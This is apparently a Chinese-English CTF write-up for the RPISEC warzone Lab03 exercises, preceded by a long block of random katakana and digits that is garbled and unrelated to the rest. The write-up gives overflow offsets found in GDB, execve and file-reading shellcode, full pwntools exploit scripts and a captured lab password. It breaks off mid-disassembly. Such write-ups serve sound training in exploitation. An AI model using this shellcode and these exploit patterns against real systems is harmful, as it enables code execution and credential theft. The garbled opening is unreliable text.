ムクソカクナケフçタハマロZ6ホ日モヒ4
クレルçアZエシネスフ74ーヨノ5ラ9ウ
ロモキナチヤカウ9ミハ・ノ日ユシマ7ク:
ア0ツコロリ3ヨルソンヘトネçク9ーレサ
4フツハヘワケ8ヤ01ホタエオ:ウメリク
1Zリナミアユワツトキタヤテçネノ8ケセ
ホイ7コセヒケ8日ラエリヲトタヤワ3テウ
.フナヌカニクキヒソーコ09セ1ホサヘワ
クカルムミヨニラテ・ネ8ヌオユハナ日9ア
ワコチキーヨクスムルツヘン.フ9タセアヲ
.7カウレ9ツ2テ1サノンモムクスローヌ
テZ6ヌキカソルウ.シ8日ハ59ツ2ニサ
ヨナシマロリヒ5ウヌアミエムン日3ス.ホ
セエホ3ユルZヘーオヲレニクカヤヒ:リソ
カチソ.ヲコ4クノケフオ5クス61タツレ
チムツZシイレ日3タ5クモリス6ユニソワ
ケ.ハオ0ナ65ヒクルソヨZレ32日モç
ユノ日ミチヨヘナ5タル4キ9ハイテヲマ0
Z97.レシウアクチロツフ35ーワケネラ
ンー5ケロラ:29モチスニクçワリ・コ0
ユ5ネセエヌールタラ・ケ.ヤヲナテホノウ
カモヌム4ク7ロウー.チメニヘヨ8ノルト
:ーヘ6ミ9日ホキロムコテヤサルヌイçラ
イセヘヤç8ケヒユモサーZマミンリアエホ
ç6エノホニシーヘムイメマヤセヒンヲ2Z
ナクスローモエフ1リサ4カ日テコヒ・ツニ
タキムチç日0ウワ6メコヘセユナツア4オ
カツレソ2ー7.ヒ8シçニタオトヌ4フネ
ホサヒソネ・タ0シロミコワー23トテスキ
ケ2ムレイラZユミツメヤ8・ニヨソロアナ
トミ29ワヌ4サクリラタカ86マZウルユ
ルフçニマチ.6タヘム8ヲレナテキノZイ
カルフンユリタヤ8ヒ:モヘコテオクエツワ
メ日42キアヲçZハシニナ1ムウコセネヨ
ト8セZ3オイークカ・ラタシニ0ノ2ツメ
カク8ヲ:テシト9キツ日6タエコムヘサ・
5ツソマオ・.フ279ロçホネメタ:ヌ4
ルスライZミソヒワ2ク3ト7ヨシ1ネ・日
ワ.シZユクー60ンタア・ツ3オクマ9チ
ネミ5Zムフ:ヨ2リウ7タ94キイマーシ
ナメユオヲ・サン7ホチレ04:9ヌç日ハ
.ムナタヒリオツニ48イ日エ0サウソ5テ
ノメワ5・モアスカ:ラムçキト日ク2ニケ
2ユ5çヤカヌコ9ロヨウシト0ノタリメオ
7タツヒ.エハ:ナワメーオリヨセ301・
シロ9タナニネワテホキヒクカ8ーセクハ.
:ラク8ノホテイ2.クモヤウシニールマヘ
イ日スルツキフヲ94ア3ワナネヘセクユ2
ラルワ8ヲセシ6ケチホムヒ・ミオサフエア
ソモヤーホタカ日・ンリミ.ネノメ:çマロ
ヌキイルニ84モコ7リク日ノ1ンメクレト
0クロçナ1ムモ9シエサ日ヲラコヌZハヤ
ヘチタンテキ1ロ4ユサツ0セクーカソホヤ
9オロチヒ0ネ6・:4çメハヲユニミワツ
キリ8ト:ヒルスオウカヌホ5ソニネラサナ
ナフマ7ーサシ・ユンワテミリラツヌZ02
モア4リ20ータム.Zヒラコスクヌソキツ
エ3ヒキ6タヨムミ1ーçスホメヌア2モソ
ノハキ8ウツサイ・ーチスオ4ロ7ルムラヒ
ンホスZハ9レーカケキトコヌル0.ウラヤ
日フ.05トテアシハナロニルワス29ヌレ
キム3ホケハクミリス9テユラートçレ7チ
6タツ.ヲキリヌセ04Zホチヤ:シイロン
5ー3レクユ:ロチホヲ8ソテマ1ヌシ2ヤ
タツアコ4サミモソオケ0ネカ.57ナムロ

Writeup Lab03

Writeup Lab03

七月 22, 2019 阅读 243 字数 24881 评论 0 喜欢 0

lab3C

Let’s have a look source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c */

char a_user_name[100];

int verify_user_name()
{
    puts("verifying username....n");
    return strncmp(a_user_name, "rpisec", 6);
}

int verify_user_pass(char *a_user_pass)
{
    return strncmp(a_user_pass, "admin", 5);
}

int main()
{
    char a_user_pass[64] = {0};
    int x = 0;

    /* prompt for the username - read 100 byes */
    printf("********* ADMIN LOGIN PROMPT *********n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    /* verify input username */
    x = verify_user_name();
    if (x != 0){
        puts("nope, incorrect username...n");
        return EXIT_FAILURE;
    }

    /* prompt for admin password - read 64 bytes */
    printf("Enter Password: n");
    fgets(a_user_pass, 0x64, stdin);

    /* verify input password */
    x = verify_user_pass(a_user_pass);
    if (x == 0 || x != 0){
        puts("nope, incorrect password...n");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

What Dose The Program Do?
→ main function,通过fgets() 读取 0x100=256Bytes 到 a_user_name (100bytes) ;
→ 然后调用 verify_user_name(); 判断 username是否是 ‘rpisec’;
→ 接着通过 fgets()获取 0x64=100bytes 到 a_user_pass(64bytes) ;
→ 调用 verify_user_pass(), 判断 pass 是否是’admin’;

Where is the vulnerability?

  • a_user_name[100](100bytes) 通过 fgets 可写入 0x100(256bytes) ,溢出;
  • a_user_pass[64](64byes,) 通过 fgets 可写入 0x64(100bytes) , 溢出;

Notice
a_user_name 是在main functions 之外定义的, 所以不在 栈 上面,而是在 .bss 段;所以没法覆盖Ret adds;
在R2里面验证:

iS Sections

 [0x08048640]> iS
[Sections]
···
idx=23 vaddr=0x08049c0c paddr=0x00000c0c sz=8 vsz=8 perm=-rw- name=.data
idx=24 vaddr=0x08049c20 paddr=0x00000c14 sz=132 vsz=132 perm=-rw- name=.bss
idx=25 vaddr=0x00000000 paddr=0x00000c14 sz=36 vsz=36 perm=---- name=.comment
···
idx=31 vaddr=0x08048000 paddr=0x00000000 sz=52 vsz=52 perm=-rw- name=ehdr
32 sections
[0x08048640]>
 
 [0x08048640]> iS .bss | grep a_user_name
vaddr=0x08049c40 paddr=0x00001c40 ord=070 fwd=NONE sz=100 bind=GLOBAL type=OBJECT name=a_user_name
vaddr=0x08049c40 paddr=0x00001c40 ord=070 fwd=NONE sz=100 bind=GLOBAL type=OBJECT name=a_user_name
[0x08048640]>
 

下面是程序变量 的全生命周期以及存储方式;

变量类型 作用域 储存空间 生命周期
全局变量 整个程序可见 静态区(.data/.bss ) 整个程序运行期间
静态全局变量 当前源文件 静态区(.data/.bss) 整个程序运行期间
局部变量 函数内部 函数执行期间
静态局部变量 函数内部 静态区 整个程序运行期间
寄存器变量 函数内部 寄存器 函数执行期间

由此可见,只有 a_user_pass 是在栈上的,而且可溢出;但是 a_user_pass在栈上,不太好确定位置,因为GDB和实际运行环境不一样;而且我们这个程序没有开启ASLR

所以我们可以溢出a_user_pass到ret addr,addr指向不变的 a_user_name,然后在a_user_name里面构造我们的shellcode;

Overflow return address
溢出覆盖ret adds的条件之一就是计算a_user_pass到ret adds的距离;

lab3C@warzone:/levels/lab03$ cat /tmp/addr.py
print("rpisec")
for i in range(26):
  print(chr(i+0x41)*4,end='')
  
lab3C@warzone:/levels/lab03$
lab3C@warzone:/levels/lab03$ python3 /tmp/addr.py > /tmp/addr ;cat /tmp/addr
rpisec
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZlab3C@warzone:/levels/lab03$
lab3C@warzone:/levels/lab03$
lab3C@warzone:/levels/lab03$ gdb lab3C
Reading symbols from lab3C...(no debugging symbols found)...done.
gdb-peda$ r < /tmp/addr
Starting program: /levels/lab03/lab3C < /tmp/addr
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password:
nope, incorrect password...


Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x52525252 ('RRRR')
ECX: 0xb7fd8000 ("\nope, incorrect password...\nername....\n")
EDX: 0xb7fce898 --> 0x0
ESI: 0x0
EDI: 0x53535353 ('SSSS')
EBP: 0x54545454 ('TTTT')
ESP: 0xbffff700 ("VVVVWWWWXXXXYYY")
EIP: 0x55555555 ('UUUU')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x55555555
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 ("VVVVWWWWXXXXYYY")
0004| 0xbffff704 ("WWWWXXXXYYY")
0008| 0xbffff708 ("XXXXYYY")
0012| 0xbffff70c --> 0x595959 ('YYY')
0016| 0xbffff710 --> 0x1
0020| 0xbffff714 --> 0xbffff794 --> 0xbffff8be ("/levels/lab03/lab3C")
0024| 0xbffff718 --> 0xbffff734 --> 0xc82c37cf
0028| 0xbffff71c --> 0x8049c04 --> 0xb7e3c990 (<__libc_start_main>:	push   ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x55555555 in ?? ()
gdb-peda$

通过GDB 获得的a_user_pass到 ret adds的长度是80Bytes;
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT(80Bytes)UUUU(Ret Adds)

Shellcode
我们可以通过shellcode 获取到 syscall execve();

31 c0                 xor    %eax,%eax
50                    push   %eax
68 2f 2f 73 68        push   $0x68732f2f
68 2f 62 69 6e        push   $0x6e69622f
89 e3                 mov    %esp,%ebx
89 c1                 mov    %eax,%ecx
89 c2                 mov    %eax,%edx
b0 0b                 mov    $0xb,%al
cd 80                 int    $0x80
31 c0                 xor    %eax,%eax
40                    inc    %eax
cd 80                 int    $0x80

改成i386版本

Disassembly of section .text:

08049000 <_start>:
 8049000:	31 c0                	xor    eax,eax
 8049002:	50                   	push   eax
 8049003:	68 2f 2f 73 68       	push   0x68732f2f
 8049008:	68 2f 62 69 6e       	push   0x6e69622f
 804900d:	89 e3                	mov    ebx,esp
 804900f:	89 c1                	mov    ecx,eax
 8049011:	89 c2                	mov    edx,eax
 8049013:	b0 0b                	mov    al,0xb
 8049015:	cd 80                	int    0x80
 8049017:	31 c0                	xor    eax,eax
 8049019:	40                   	inc    eax
 804901a:	cd 80                	int    0x80

on line 6-7 push /bin/sh on stack;

root@bad:~/test# python -c 'print("6e69622f68732f2f".decode("hex"))'
nib/hs//
root@bad:~/test#

Exp

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print("rpisec"+shellcode)

print("A"*80+"\x46\x9c\x04\x08")

a_user_name add is: 0x08049c40 , But add “rpisec” == 0x08049c46;

lab3C@warzone:/levels/lab03$ (cat /tmp/exp;cat)|./lab3C
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password:
nope, incorrect password...

whoami
lab3B
motherfucker
sh: 2: motherfucker: not found


lab3B

Let’s have a look source code ;

#include <signal.h>
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/prctl.h>
#include <wait.h>
#include "utils.h"

ENABLE_TIMEOUT(60)

/* gcc -z execstack -fno-stack-protector -o lab3B lab3B.c */

/* hint: write shellcode that opens and reads the .pass file.
   ptrace() is meant to deter you from using /bin/sh shellcode */

int main()
{
    pid_t child = fork();
    char buffer[128] = {0};
    int syscall = 0;
    int status = 0;

    if(child == 0)
    {
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);

        /* this is all you need to worry about */
        puts("just give me some shellcode, k");
        gets(buffer);
    }
    else
    {
        /* mini exec() sandbox, you can ignore this */
        while(1)
        {
            wait(&status);
            if (WIFEXITED(status) || WIFSIGNALED(status)){
                puts("child is exiting...");
                break;
            }

            /* grab the syscall # */
            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);

            /* filter out syscall 11, exec */
            if(syscall == 11)
            {
                printf("no exec() for you\n");
                kill(child, SIGKILL);
                break;
            }
        }
    }

    return EXIT_SUCCESS;
}

What dose the program do?

→ on line 16-17 , 注释提示我们 ptrace() 会阻止我们调用 exec shellcode, 建议我们 读取 .pass file;
→ on line 28, prctl() 设置 当父进程退出或者death的时候, 传arg2(sighup)给子进程,就是Kill child process;
→ on line 29, ptrace() 告诉父进程 跟踪 自己;
→ on line 33 , gets() 没有限制长度, 可溢出;
→ on line 47, ptrace(PTRACE_PEEKUSER), 获取child process eax寄存器的信息 来判断child 调用什么是不是 execve
→ on line 50, 禁止子进程调用 exec();

Where is the vulnerability???

on line 33, gets() 可以溢出,但是shellcode 不能是exec(), 只能通过构造 sys_read 来读取 /Home/lab3A/.pass ;

Overflow return address

print("X"*128,end='')

for i in range(26):
  print(chr(i+0x41)*4,end='')
gdb-peda$ r < /tmp/3B
Starting program: /levels/lab03/lab3B < /tmp/3B
[New process 4427]
just give me some shellcode, k
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 4427]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x45454545 ('EEEE')
ECX: 0xfbad2098
EDX: 0xb7fce8a4 --> 0x0
ESI: 0x0
EDI: 0x46464646 ('FFFF')
EBP: 0x47474747 ('GGGG')
ESP: 0xbffff700 ("IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ")
EIP: 0x48484848 ('HHHH')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x48484848
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 ("IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ")
0004| 0xbffff704 ("JJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ")
0008| 0xbffff708 ("KKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ")
0012| 0xbffff70c ("LLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ")
0016| 0xbffff710 ("MMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ")
0020| 0xbffff714 ("NNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ")
0024| 0xbffff718 ("OOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ")
0028| 0xbffff71c ("PPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x48484848 in ?? ()
gdb-peda$

可以看到 溢出的ret adds 是 EIP: 0x48484848 (‘HHHH’) ,由此可以算出覆盖长度;

····’X’ < repeats 128 times> ·····(128 Bytes)AAAABBBBCCCCDDDDEEEEFFFFGGGG(28 Bytes)HHHH(Ret Adds)

offset address = 156 Bytes

我们还可以算出当前 gdb 中 buf[] 在栈中的位置:0xbffff660

gdb-peda$ x/s 0xbffff700
0xbffff700:	"IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
gdb-peda$
gdb-peda$ x/s 0xbffff660
0xbffff660:	'X' <repeats 128 times>, "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR"...
gdb-peda$


Shellcode
shellcode必须是sys_call ,所以先用C 写出来,再去写汇编;

char buf[100];
int fd = open("/home/lab3A/.pass", O_RDONLY);
read(fd, buf, 100);
write(stdout, buf, 100);

因为字符串的存储方式是 little endian ;所以

/home/lab3A/.pass

存入方式应该是

sspa./A3bal/emoh/

优化一下 4byte一组

ssap
./A3
bal/
emoh
/

最终优化成

s
sap.
/A3b
al/e
moh/

hex-encode

root@warzone:/tmp# python -c 'print("sspa./A3bal/emoh/".encode("hex"))'
737370612e2f413362616c2f656d6f682f
root@warzone:/tmp#

push stack

push 0x73
push 0x7361702e
push 0x2f413362
push 0x616c2f65
push 0x6d6f682f

Syscall

i386的syscall 可以参考 syscalls;

final assembler code:

segment .text
global _start

_start:
push 0x73
push 0x7361702e
push 0x2f413362
push 0x616c2f65
push 0x6d6f682f

mov  eax,0x5
mov  ebx,esp
xor  ecx,ecx
xor  edx,edx
int  0x80      ;open


sub esp,100
mov ebx,eax
mov ecx,esp
mov edx,100
int 0x80       ;read

mov eax,0x4
mov ebx,1
mov ecx,esp
mov edx,100   ;w

编译

root@bad:~/test# nasm -f elf 3b.asm
root@bad:~/test# ld -melf_i386 -o 3b  3b.o
root@bad:~/test# ./3b
success
段错误
root@bad:~/test#

通过R2提取hex code:

[0x08049000]> pc 68 @ entry0
#define _BUFFER_SIZE 68
const uint8_t buffer[68] = {
  0x6a, 0x73, 0x68, 0x2e, 0x70, 0x61, 0x73, 0x68, 0x62, 0x33,
  0x41, 0x2f, 0x68, 0x65, 0x2f, 0x6c, 0x61, 0x68, 0x2f, 0x68,
  0x6f, 0x6d, 0xb8, 0x05, 0x00, 0x00, 0x00, 0x89, 0xe3, 0x31,
  0xc9, 0x31, 0xd2, 0xcd, 0x80, 0x83, 0xec, 0x64, 0x89, 0xc3,
  0x89, 0xe1, 0xba, 0x64, 0x00, 0x00, 0x00, 0xcd, 0x80, 0xb8,
  0x04, 0x00, 0x00, 0x00, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x89,
  0xe1, 0xba, 0x64, 0x00, 0x00, 0x00, 0xcd, 0x80
};
[0x08049000]>

exploit by python script:

import sys
shellcode="\x6a\x73\x68\x2e\x70\x61\x73\x68\x62\x33\x41\x2f\x68\x65\x2f\x6c\x61\x68\x2f\x68\x6f\x6d\xb8\x05\x00\x00\x00\x89\xe3\x31\xc9\x31\xd2\xcd\x80\x83\xec\x64\x89\xc3\x89\xe1\xba\x64\x00\x00\x00\xcd\x80\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xba\x64\x00\x00\x00\xcd\x80"
sys.stdout.write("\x90"*(128-len(shellcode)))
sys.stdout.write(shellcode)
sys.stdout.write("\x90" * 28)
sys.stdout.write("\x60\xf6\xff\xbf")

0xbffff660 是之前通过GDB 获取到的地址,但是 GDB和实际环境可能不一样,让我们试试看:

lab3B@warzone:/levels/lab03$ python /tmp/3b.py > /tmp/3B
lab3B@warzone:/levels/lab03$ ./lab3B </tmp/3B
just give me some shellcode, k
wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd
e/lah/hom���1�1�̀��d�É�d̀����d̀������������

^C

lab3A pwd on line 4

lab3A

Source code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"

#define STORAGE_SIZE 100

\* gcc -Wall -z execstack -o lab3A lab3A.c *\

\* get a number from the user and store it *\
int store_number(unsigned int * data)
{
    unsigned int input = 0;
    unsigned int index = 0;

    \* get number to store *\
    printf(" Number: ");
    input = get_unum();

    \* get index to store at *\
    printf(" Index: ");
    index = get_unum();

    \* make sure the slot is not reserved *\
    if(index % 3 == 0 || (input >> 24) == 0xb7)
    {
        printf(" *** ERROR! ***\n");
        printf("   This index is reserved for quend!\n");
        printf(" *** ERROR! ***\n");

        return 1;
    }

    \* save the number to data storage *\
    data[index] = input;

    return 0;
}

\* returns the contents of a specified storage index *\
int read_number(unsigned int * data)
{
    unsigned int index = 0;

    \* get index to read from *\
    printf(" Index: ");
    index = get_unum();

    printf(" Number at data[%u] is %u\n", index, data[index]);

    return 0;
}

int main(int argc, char * argv[], char * envp[])
{
    int res = 0;
    char cmd[20] = {0};
    unsigned int data[STORAGE_SIZE] = {0};

    \* doom doesn't like enviroment variables *\
    
    clear_argv(argv);
    clear_envp(envp);

    printf("----------------------------------------------------\n"\
           "  Welcome to quend's crappy number storage service!  \n"\
           "----------------------------------------------------\n"\
           " Commands:                                          \n"\
           "    store - store a number into the data storage    \n"\
           "    read  - read a number from the data storage     \n"\
           "    quit  - exit the program                        \n"\
           "----------------------------------------------------\n"\
           "   quend has reserved some storage for herself :>    \n"\
           "----------------------------------------------------\n"\
           "\n");


    \* command handler loop *\
    while(1)
    {
        \* setup for this loop iteration *\
        printf("Input command: ");
        res = 1;

        \* read user input, trim newline *\
        fgets(cmd, sizeof(cmd), stdin);
        cmd[strlen(cmd)-1] = '\0';

        \* select specified user command *\
        if(!strncmp(cmd, "store", 5))
            res = store_number(data);
        else if(!strncmp(cmd, "read", 4))
            res = read_number(data);
        else if(!strncmp(cmd, "quit", 4))
            break;

        \* print the result of our command *\
        if(res)
            printf(" Failed to do %s command\n", cmd);
        else
            printf(" Completed %s command successfully\n", cmd);

        memset(cmd, 0, sizeof(cmd));
    }

    return EXIT_SUCCESS;
}


What dose the program do?

→ in main function : 定义了一个 unsigned int data[STORAGE_SIZE], 值得注意的是 on line 6 #define STORAGE_SIZE 100 ,该data数组包含的100个元素 == 400bytes(unsigned int = 4 byte)
→ on line 60-63, 注释提示了 “doom doesn’t like enviroment variables”, 由于62-63 clear_ 函数是自定义在 “utils.h” 头文件里的,所以我大胆猜测这里是清除了环境变量吧;
→ 进入 命令处理程序循环中; 这里有3个命令:store, read, quit ;
→ 当输入store命令的时候,程序进入 store_number functions(90-91), in the store_number: 会提示你输入你要储存的number,然后提示你存储的索引;
→ on line 25, 如果符合条件 index %3 ==0 或者 (input) >> 24 == 0xb7 ,就 printf GG;
→ 如果不符合条件,就继续执行, 把number 储存在 data[index] 里面;
→ 当输入read命令的时候,程序进入 read_number ,读取 data[index] balabala 后面已经不重要了;

Where is the vulnerability?

store_number() , 只检查了 index % 3 == 0 , 没有检测data[index]是否越界(100个元素),所以可以通过data[more than 100] 覆盖到ret adds;

Shellcode

因为有 index % 3 == 0 的限制,所以我们的shellcode 只能写在 index % 3 != 0 的位置;
意味着我们只能存储两个相邻的4Byte:

而且在 index % 3 == 0 的位置,因为初始化,所以默认是0,当我们数据读取到00 的时候,栈会出错,所以我们需要jmp掉中间这4byte
like this:

如图所示,我们需要将 6Byte shellcode + 2Byte jmp 存入 栈中;还需要将数据分为 4 Byte 一组, little endian stored in stack;

使用最简单的shellcode –execve();

31 c0  					xor    eax,eax
50                      push   eax
68 2f 2f 73 68          push   0x68732f2f
68 2f 62 69 6e          push   0x6e69622f
89 e3                   mov    ebx,esp
89 c1                   mov    ecx,eax
89 c2                   mov    edx,eax
b0 0b                   mov    al,0xb
cd 80                   int    0x80
31 c0                   xor    eax,eax
40                      inc    eax
cd 80                   int    0x80

然后组装成 6Byte shellcode + 2Byte jmp

31 c0 50       
68 2f 2f 73   68        
68 2f 62 69   6e      
89 e3 89 c1   89 c2                 
b0 0b cd 80   31 c0
40 cd 80 

把多于的空用nop填充,然后补上jmp

31 c0 50 90   90 90 eb 04          
68 2f 2f 73   68 90 eb 04        
68 2f 62 69   6e 90 eb 04        
89 e3 89 c1   89 c2 eb 04                 
b0 0b cd 80   31 c0 eb 04                  
40 cd 80 

不要忘记 数据是以4Byte 用 little endian 的方式 写入stack的;

9050c031
04eb9090

732f2f68
04eb9068

69622f68
04eb906e

c189e389
04ebc289

80cd0bb0
04ebc031
80cd40

Result memory like this:

exploit by python-script using pwntools:

import sys
from pwn import *
def store(p, val, idx):
    p.sendline("store")
    p.recv(100)
    p.sendline(str(val))
    p.recv(100)
    p.sendline(str(idx))


p = process("./lab3A")
p.recv(100)

addr = int(sys.argv[1],16)
store(p,addr,109)

store(p,0x90909090,1)
store(p,0x04eb9090,2)

store(p,0x90909090,4)
store(p,0x04eb9090,5)

store(p,0x90909090,7)
store(p,0x04eb9090,8)

#start
store(p,0x9050c031,10)
store(p,0x04eb9090,11)

store(p,0x732f2f68,13)
store(p,0x04eb9068,14)

store(p,0x69622f68,16)
store(p,0x04eb906e,17)

store(p,0xc189e389,19)
store(p,0x04ebc289,20)

store(p,0x80cd0bb0,22)
store(p,0x04ebc031,23)

store(p,0x80cd40,25)

p.sendline("quit")
p.interactive()
Overflow return address

说了这么多 参数到ret adds 的长度还没拿到,但是这里没办法用一长串数字去直接溢出程序拿到崩溃点了;因为data[index]只接受4个byte,但是但是,我们可以通过GDB去获取:

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048a12 <+0>:	push   ebp
   0x08048a13 <+1>:	mov    ebp,esp
   0x08048a15 <+3>:	push   edi
   0x08048a16 <+4>:	push   ebx
   0x08048a17 <+5>:	and    esp,0xfffffff0
   0x08048a1a <+8>:	sub    esp,0x1c0
   0x08048a20 <+14>:	mov    DWORD PTR [esp+0x1bc],0x0
   0x08048a2b <+25>:	mov    DWORD PTR [esp+0x1a8],0x0
   0x08048a36 <+36>:	mov    DWORD PTR [esp+0x1ac],0x0
   0x08048a41 <+47>:	mov    DWORD PTR [esp+0x1b0],0x0
   0x08048a4c <+58>:	mov    DWORD PTR [esp+0x1b4],0x0
   0x08048a57 <+69>:	mov    DWORD PTR [esp+0x1b8],0x0
   0x08048a62 <+80>:	lea    ebx,[esp+0x18]
   0x08048a66 <+84>:	mov    eax,0x0
   0x08048a6b <+89>:	mov    edx,0x64
   0x08048a70 <+94>:	mov    edi,ebx
   0x08048a72 <+96>:	mov    ecx,edx
   0x08048a74 <+98>:	rep stos DWORD PTR es:[edi],eax
   0x08048a76 <+100>:	jmp    0x8048aa2 <main+144>
   0x08048a78 <+102>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048a7b <+105>:	mov    eax,DWORD PTR [eax]
   0x08048a7d <+107>:	mov    DWORD PTR [esp],eax
   0x08048a80 <+110>:	call   0x8048760 <strlen@plt>
   0x08048a85 <+115>:	mov    edx,DWORD PTR [ebp+0xc]
   0x08048a88 <+118>:	mov    edx,DWORD PTR [edx]
   0x08048a8a <+120>:	mov    DWORD PTR [esp+0x8],eax
   0x08048a8e <+124>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048a96 <+132>:	mov    DWORD PTR [esp],edx
   0x08048a99 <+135>:	call   0x8048780 <memset@plt>
   0x08048a9e <+140>:	add    DWORD PTR [ebp+0xc],0x4
   0x08048aa2 <+144>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048aa5 <+147>:	mov    eax,DWORD PTR [eax]
   0x08048aa7 <+149>:	test   eax,eax
   0x08048aa9 <+151>:	jne    0x8048a78 <main+102>
   0x08048aab <+153>:	jmp    0x8048ad7 <main+197>
   0x08048aad <+155>:	mov    eax,DWORD PTR [ebp+0x10]
   0x08048ab0 <+158>:	mov    eax,DWORD PTR [eax]
   0x08048ab2 <+160>:	mov    DWORD PTR [esp],eax
   0x08048ab5 <+163>:	call   0x8048760 <strlen@plt>
   0x08048aba <+168>:	mov    edx,DWORD PTR [ebp+0x10]
   0x08048abd <+171>:	mov    edx,DWORD PTR [edx]
   0x08048abf <+173>:	mov    DWORD PTR [esp+0x8],eax
   0x08048ac3 <+177>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048acb <+185>:	mov    DWORD PTR [esp],edx
   0x08048ace <+188>:	call   0x8048780 <memset@plt>
   0x08048ad3 <+193>:	add    DWORD PTR [ebp+0x10],0x4
   0x08048ad7 <+197>:	mov    eax,DWORD PTR [ebp+0x10]
   0x08048ada <+200>:	mov    eax,DWORD PTR [eax]
   0x08048adc <+202>:	test   eax,eax
   0x08048ade <+204>:	jne    0x8048aad <main+155>
   0x08048ae0 <+206>:	mov    DWORD PTR [esp],0x8048d38
   0x08048ae7 <+213>:	call   0x8048740 <puts@plt>
   0x08048aec <+218>:	mov    DWORD PTR [esp],0x8048f4d
   0x08048af3 <+225>:	call   0x8048700 <printf@plt>
   0x08048af8 <+230>:	mov    DWORD PTR [esp+0x1bc],0x1
   0x08048b03 <+241>:	mov    eax,ds:0x804a2a0
   0x08048b08 <+246>:	mov    DWORD PTR [esp+0x8],eax
   0x08048b0c <+250>:	mov    DWORD PTR [esp+0x4],0x14
   0x08048b14 <+258>:	lea    eax,[esp+0x1a8]
   0x08048b1b <+265>:	mov    DWORD PTR [esp],eax
   0x08048b1e <+268>:	call   0x8048730 <fgets@plt>
   0x08048b23 <+273>:	lea    eax,[esp+0x1a8]
   0x08048b2a <+280>:	mov    DWORD PTR [esp],eax
   0x08048b2d <+283>:	call   0x8048760 <strlen@plt>
   0x08048b32 <+288>:	sub    eax,0x1
   0x08048b35 <+291>:	mov    BYTE PTR [esp+eax*1+0x1a8],0x0
   0x08048b3d <+299>:	mov    DWORD PTR [esp+0x8],0x5
   0x08048b45 <+307>:	mov    DWORD PTR [esp+0x4],0x8048f5d
   0x08048b4d <+315>:	lea    eax,[esp+0x1a8]
   0x08048b54 <+322>:	mov    DWORD PTR [esp],eax
   0x08048b57 <+325>:	call   0x80487a0 <strncmp@plt>
   0x08048b5c <+330>:	test   eax,eax
   0x08048b5e <+332>:	jne    0x8048b75 <main+355>
   0x08048b60 <+334>:	lea    eax,[esp+0x18]
   0x08048b64 <+338>:	mov    DWORD PTR [esp],eax
   0x08048b67 <+341>:	call   0x8048917 <store_number>
   0x08048b6c <+346>:	mov    DWORD PTR [esp+0x1bc],eax
   0x08048b73 <+353>:	jmp    0x8048bd2 <main+448>
